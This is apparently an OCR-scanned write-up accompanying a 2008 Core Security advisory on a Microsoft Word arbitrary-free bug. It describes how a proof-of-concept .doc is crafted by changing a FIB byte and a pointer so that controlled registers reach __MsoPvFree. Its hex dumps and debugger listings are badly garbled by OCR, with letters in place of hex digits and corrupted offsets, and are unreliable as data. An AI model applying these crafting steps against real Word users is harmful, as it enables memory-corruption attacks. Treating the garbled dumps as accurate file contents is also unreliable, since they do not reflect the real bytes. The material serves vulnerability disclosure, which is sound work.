Microsoft Word Malformed FIB Arbitrary Free Vulnerability

This document explains a little bit more the bug described in Core Security advisory CORE-2008-
0228, available at: http://www.coresecurity.com/content/word-arbitrary-free

To construct a PoC file that demonstrates this bug, we create a Word 2007 file and then change the
byte at offset 0x4f0 (FIB field 1cbPlcfBkfSdt).

By simply changing this byte from 0 to 1, we obtain a malformed file that will make vulnerable
Word versions crash when closing the file (this trick was detected using automatic fuzzing). This
can be improved to make Word crash when opening the file, by changing some other values.

CORE-2008-0228 % ord-advizan-POC. doc:

B 1 ¢ 3 4 5 & ¥ 8 3 2 b g d e f
00000390k: 00 00 C8 08 00 00 63 0z 00 00 30 OB 00 00 5C 00 ;

Q00003&0h: OO0 0O BT O7Y 00 00 15 00 00 00 00 00 a0 00 00 Qo0 ¢
o00003k0h: 00 00 00 OO 00 OO OO0 00 00 00 A5 O3 00 00 oo oo
o00003e0h: 00 00 3F O 00 00 OO0 00 Q00 00 00 00 ad o0 od oo
o00003d0h: 00 00 00 OO0 00 00 00 00 Q00 00 3F 07 00 00 oo oo
o00003elh: 00 00 3F OY 00 00 OO0 00 Q00 00 3F 07 00 00 oo oo
ooooos£0h: 00 00 3F OY 00 00 00 00 o0 0o EY 07 00 00 oo oo
oo0000400h: 00 00 00 OO0 00 00 00 00 00 00 A5 03 00 00 0o oo
o0000410h: 00 00 AS O3 00 OO0 OO0 00 00 00 64 06 OO0 OO0 OO Q0 ;
oo0oo420h: 00 00 00 OO0 00 00 00 00 00 00 64 06 OO0 OO0 DE OO0 ;
o0000430h: 00 00 C< O 00 00 16 00 00 00 75 07 00 00 oo oo
ooooo440h: 00 00 75 O 00 00 00 00 Q00 0o 75 07 00 00 oo oo
oo0oo450h: 00 00 3F O7Y 00 00 00 00 00 00 A5 03 00 00 oo oo
00000460h: 00 00 64 0Of 00,00 OO0 OO0 OO0 OO0 AS O3 00 00 00 00 ;
ooooo4Y0h: 00 00 &4 06 Qﬁ oo oo 0o oo o0 91 0% 00 00 00 oo o
oo0oo4s0h: 00 00 0o Dg-ﬁﬂ oo oo 0o oo o0 75 07 00 00 00 oo o
00000490h: OO0 OO0 OO0 O 00 00 OO0 00 00 00 00 OO0 OO0 Q0 Q00 Q0 ;
oo0oo4a0h: a0 00 Q?.DD o0 o0 o0 00 00 00 00 00 o o0 od oo g
oo00g4k0h: 00 DD.JD o0 oo o0 00 00 00 g o0 00 o0 00 o oo o
Qoo0C04e0Oh: OO0 O 3F O7 00 00 00 OO0 OO0 OO0 91 07 00 OO0 OO0 oo ;
oo00d4doh: 00 o0 0o 00 0o o0 0d oo o0 75 07 00 00 0d oo o
000004e0h: 00 00 00 OO 0O 00 00 00 o0 dg 75 07 oo 00 g oo g
ooooog4f0h: 01 00 AS O3 00 OO0 00 00 00 00 A5 O3 00 00 ad oo
00000500kh: 00 00 00 OO0 00 00 00 00 00 dd o0 dd oo o0 ad oo o
00000510h: 00 00 00 OO0 00 00 00 00 00 dd o0 dd oo o0 ad oo g
00000520h: 00 00 00 OO0 00 00 00 00 00 dd o0 dd ad o0 ad oo o

Below is the location where an arbitrary pointer can be changed to choose the address that will be
used as parameter of the free function. If the value in 1cbP1cfBkfSdt field is O then this pointer
has no effect. But if this value is 1, then modifying this arbitrary pointer will cause the free function
to close the program.


http://www.coresecurity.com/content/word-arbitrary-free

CORE-2008-0228-ward-advisory-POC. doc

B 1 3 3 4 % & 7 8 9 8 b g d e f
0000z=90h: 10 00 00 00 FF FF 00 00 00 00 FF 00 S0 50 80 00
O000zaaOh: F7 00 00 10 00 OF OO0 0z FO Sz 00 OO0 OO0 10 OO 08 ;
O000zakOh: FO 0OS 00 OO0 00 O1 OO0 00 OO0 O1 04 00 00 OF 00 O3 ;
0000zacOh: FO 30 00 OO0 00 OF OO 04 FO 25 00 00 00 O1 0O O3
0000zadOh: FO 10 00 00 00 OO0 OO0 00 00 OO0 OO OO0 00 00 00 OO ;
0000zae0h: OO0 00 OO0 OO0 OO0 02 OO0 O FO OS5 0O OO0 00 OO O4 00 ;
0000zafOh: OO0 OS5 00 OO0 00 OF OO 04 FO 42 00 00 00 12 00 O4 ;
0000zkOOk: FO O 00 00 00 1 04 00 00 OO0 OE 00 00 53 00 OB ;
0000zk10h: FO LE 00 OO0 00 BF 01 00 00 10 00 CB 01 00 00 00 ;
0000zbzOh: OO0 FF O1 00 0Q°0S OO0 04 03 09 00 00 00 3F 03 01 ;
0000zb30h: OO0 01 00 00 off 11 FO 04 00 OO0 OO O1 00 OO0 OO0 OO ;
0000zb40h: 00 00 00 4B 40 00 00 50 00 OO0 0O OF OO0 04 00 0O ;
D0002zb50h: 00 00 OO0 4L* 00 00 OO 50 00 OO0 OO 04 00 OF 00 OO ;
0000zbEOh: OO0 00 OO ﬁ 00 00 00 4D 00 OO0 OO0 50 00 00 OO0 07
00002k70h: OO0 04 0O 00 01 00 OO0 00 04 00 00 00 08 00 40
00002ZbE0h: 00 00 00 OO0 00 OO0 00 00 00 3F 7E 34 ;
0000zbS0h: OO0 FF 40 03 50 01 OO0 4D 00 00 00 4D 00 00 00 1C ;
0000zkaOh: 34 F3 01 01 00 O1 OO0 4D 00 OO0 00 OO0 00 OO OO 4D ;
D000zbbOh: 00 00 00 OO0 OO0 OO0 OO 02 10 OO0 OO OO 00 OO0 OO OO ;

In the next screenshot we see that before calling __MsoPvFree three CPU registers are under
control of the person crafting the Word document.
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SOSELEEE| S3CL B4 ADD ECX, 4 . ESP p@iSerEC
SESELEEE| 51 PUSH ECH . EEF SBBEIEEZ MSO9._MsoFresPuid
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DS: [414141301=777
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FATAYARA = r=imrmintat

If we change the value 0x41414141 for a different one, for example 0x10004, we avoid the crash.
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\We see that the execution of

__MsoPvFree is reached with two controlled values, the pointer that

was directly changed in the .doc and the content of that memory position. That is, both of them are
controlled, one directly and the other in an indirect manner, thus we can fully control the effect of

the free function.
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smsE1EER|| - Z3c1 w4 ADD ECH
EEES | I Eugh ECX

SASELEEF|] . CA
. EZ B2EAFFFF CHLL HSDQ.

ADD
Moy ECX DhJURD FTR DS: [EAX]

SHSEIEFS|W. L2 B488 RETH 4

SBSEIEFS|Fs SES424 B84 MOU ED:, DWORD PTR 55: [ESP+41
S@3ELEFC|| . F

SEZEIEFE|| . FF7424 BC FUSH OWORD FTR S5 [ESP+C]
SESELIFE2|) . 3302 H#OR ECH,ECH

zazEiFas|| L B2 Greesses |CALL MEhe. SESE1F1E

sasELIFE3|| . FLI!

SEZEIFEE|| . EZ2 F24EFEFF | CALL HS09._HeolwReaGetDwEd
s@sElF1a|k. C2 6388 RETH &

SBZEIF1Z| § &5 FUSH EEF

2E3EIF14| . S2BEC HMOU EEP,ESP

SE3EIF1e| . S3EC &4 SUE ESF, 64

ZB3EIF19| . &3 FUSH EER

ZB3EIF1A| . 56 PUSH ESI

2BIEIFIE| . &7

S@3EIFIC| . 33FF XDR EDI EDI

SRZEIFIE 2330 CHF _OWORD PTR OS: (300520881, —1
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__MzoPuFrecBl __M=oPuFresEs
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ECx BE2RERL ]

ED: BE213ESLS

EEX B00186604 UNICODE
ESF BO13EFE4

EEF 3BSELEEZ MS09._HM
ESI 88818884 UNICODE
EDI BE12

EIF SBSEIEFB M309. 38

C @ ES 8823 3Zbit @
CS 8@1E 22bit @
S5 BEZ2 22bit B
05 B@23 S2bit B
FS 8@3E 22bit 7
G5 @@8a HULL

0 8 LastErr ERROR_I
EFL @@e@az1s (MO, MHE,

STH empty -7.7I7EIEE
ST1 empty -Z2.8367713
ST2 empty —-3.4994115
T2 empty 2. 61823919

DO—mrDT
[T

SESEAIFE= I‘1809 __MzoFuFres@s

M50, _MsoF reePu@4+EE

At A

574 empty —MAM FFF
575 empty B B
STE empt

sT7 empty 42 EBBBBBB

BBBIBBBB Aral = BBBIBBBB

Args =

EE1F2 RETURN to ll.lINll.lDRD SE1BEIF2
lagad) UNICODE
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The exploitation of this bug depends on the construction of a file such that different arbitrary blocks
are allocated when closing the file before the free is called. A malicious result can be obtained,

however this scenario is very complex because of the limitations of the

including checks that make the exploitation more difficult.

__MsoPvFree API,

Credit to Ricardo Narvaja, Core Impact's Exploit Writing Team, Core Security Technologies.



